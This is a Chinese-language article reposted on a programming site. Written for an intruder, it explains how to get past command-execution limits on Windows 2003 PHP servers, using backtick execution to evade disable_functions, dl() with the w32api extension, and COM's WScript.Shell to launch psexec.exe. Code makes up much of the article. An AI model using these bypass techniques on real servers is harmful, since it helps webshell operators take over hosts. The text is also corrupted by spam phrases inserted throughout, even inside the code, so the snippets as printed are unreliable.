程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 突破Windows 2003 PHP服務器的新思路

突破Windows 2003 PHP服務器的新思路

編輯:關於PHP編程

  從WIN2000到WIN XP, 再到WIN2003, MS iis(微軟的WEB服務器平台)服務器安全性的提高是顯而易見的。 在WIN2000中, 一個普通的php(做為現在的主流開發語言) SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也無法用system() 等函數執行系統命令, 但是我們還能用com()函數進行突破;到WIN 2003,即使iis(微軟的WEB服務器平台) 和php(做為現在的主流開發語言)都是默認安裝,你用system(), com()也可能拿它沒轍。這時候你就不得不使用一些新的方法來進行突破了。 
 
  1、disable_functions的突破

  在php(做為現在的主流開發語言) -4.0.1以上的版本,php(做為現在的主流開發語言).ini裡引入了一項功能disable_functions , 這個功能比較有用,可以用它禁止一些函數。比如在php(做為現在的主流開發語言).ini裡加上disable_functions = passthru exec system popen 那麼在執行這些函數的時候將會提示Warning: system() has been disabled for security reasons,同時程序終止運行。但是也不是沒有辦法執行系統命令了。因為php(做為現在的主流開發語言)采用了很多perl的特性,比如還可以用(`)來執行命令,示例代碼如下:

  <?$output = `ls -al`;echo "<pre>$output</pre>";?>

  據說這個只有設成safe_mode為on才能避免,但上次我在一台國外的服務器上使用的時候還是失敗了,人並不是什麼時候都能那麼走運的:)

  2、dl()函數的應用

  當任何php(做為現在的主流開發語言)的內部命令執行數和都無法使用的時候,可以嘗試dl(),該方法只能用於safe mode=off, 因為它在安全模式下是被禁用的。利用dl()你可以直接調用W32api 函數,可惜這個擴展已被移動到 PECL 庫中,且自php(做為現在的主流開發語言) 5.1.0以下版本起不再被綁定。以下是手冊裡的例子:

  // 加載此擴展

  dl("php(做為現在的主流開發語言)_w32api.dll");

  // 注冊 GetTickCount 函數,來自 kernel32.dll

  w32api_register_function("kernel32.dll",

  "GetTickCount",

  "long");

  // 注冊 MessageBoxA 函數,來自 User32.dll

  w32api_register_function("User32.dll",

  "MessageBoxA",

  "long");

  // 取得開機時間信息

  $ticks = GetTickCount();

  // 轉換為易於理解的文本

  $secs = floor($ticks / 1000);

  $mins = floor($secs / 60);

  $hours = floor($mins / 60);

  $str = sprintf("You have been using your computer for:".

  " %d Milliseconds, or %d Seconds".

  "or %d mins or %d hours %d mins.",

  $ticks,

  $secs,

  $mins,

  $hours,

  $mins - ($hours*60));

  // 顯示一個消息對話框,只有一個 OK 按鈕和上面的開機時間文本

  MessageBoxA(NULL,

  $str,

  "Uptime Information",

  MB_OK);

  ?>

  可惜我還沒有理解透徹dl()和W32api, 所以就不亂舉例子了, 免得誤導讀者。

  3、COM 和 .Net(Windows)函數的應用

  COM(Component Object Model,組件對象模型)是微軟開發的軟件規范,它用於開發面向對象的、編譯好的軟件組件,它允許把軟件抽象成為二進制的部件,主要運用於windows平台。

  php(做為現在的主流開發語言) 的 Windows 版本已經內置該擴展模塊的支持。無需加載任何附加擴展庫即可使用COM函數。它的使用方法類似於C++或Java中類的創建的語法,並把COM的類名作為參數傳遞到構造函數。例如使用在php(做為現在的主流開發語言)中調用“WScript.Shell”執行系統命令:

  $cmd=” E:/cert/admin/psexec.exe”;

  if($com=new COM("WScript.Shell")) echo "yes";

  if(!$cmd1=$com->exec($cmd))

  {

  echo "can not exec()";

  }

  if(!$cmd2=$cmd1->stdout())

  {

  echo "can not stdout()";

  }

  if(!$cmd3=$cmd2->readall())

  {

  echo "can not readall()";

  }

  echo $cmd3;

  ?>

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved